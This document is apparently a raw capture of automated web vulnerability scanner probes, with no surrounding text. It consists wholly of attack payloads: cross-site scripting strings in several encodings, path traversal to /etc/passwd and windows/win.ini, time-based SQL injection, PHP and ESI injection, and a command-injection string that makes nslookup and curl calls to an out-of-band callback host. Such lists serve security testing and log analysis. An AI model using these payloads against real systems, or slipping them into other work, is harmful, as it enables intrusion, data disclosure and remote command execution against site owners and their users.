1" zSro=g2PO([!+!]) 1Hk=" 1<img/src=">" onerror=alert(9554)> ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg /\../\../\../\../\../\../\../etc/passwd ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini if(now()=sysdate() -1); waitfor delay '0:0:15' -- ';print(md5(31337));$a=' xfs.bxss.me %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%67%32%50%4F%28%39%36%35%37%34%29%22 %31%3C%53%63%52%69%50%74%20%3E%67%32%50%4F%289926%29%3C%2F%73%43%72%69%70%54%3E /../..//../..//../..//../..//../..//etc/passwd%00.jpg <esi:include src="http://bxss.me/rpb.png"/> &n925787=v944465 sleep(15) bxss.me 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99) 1'"()&%<zzz><ScRiPt >g2PO(9923)</ScRiPt> 1"sTYLe='zzz:Expre/**/SSion(g2PO(9548))'bad=" 1\u003CScRiPt\g2PO(9018)\u003C/sCripT\u003E .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd &(nslookup -q=cname hitaiulkwpbvx1f47b.bxss.me||curl hitaiulkwpbvx1f47b.bxss.me)&'\"`0&(nslookup -q=cname hitaiulkwpbvx1f47b.bxss.me||curl hitaiulkwpbvx1f47b.bxss.me)&`' WEB-INF/web.xml 0) 1 waitfor delay '0:0:15' -- 15) '"()&%<zzz><ScRiPt >g2PO(9523)</ScRiPt> 1"><script>g2PO(9853)</script> 1<ScRiPt>g2PO(9621)</sCripT> /etc/passwd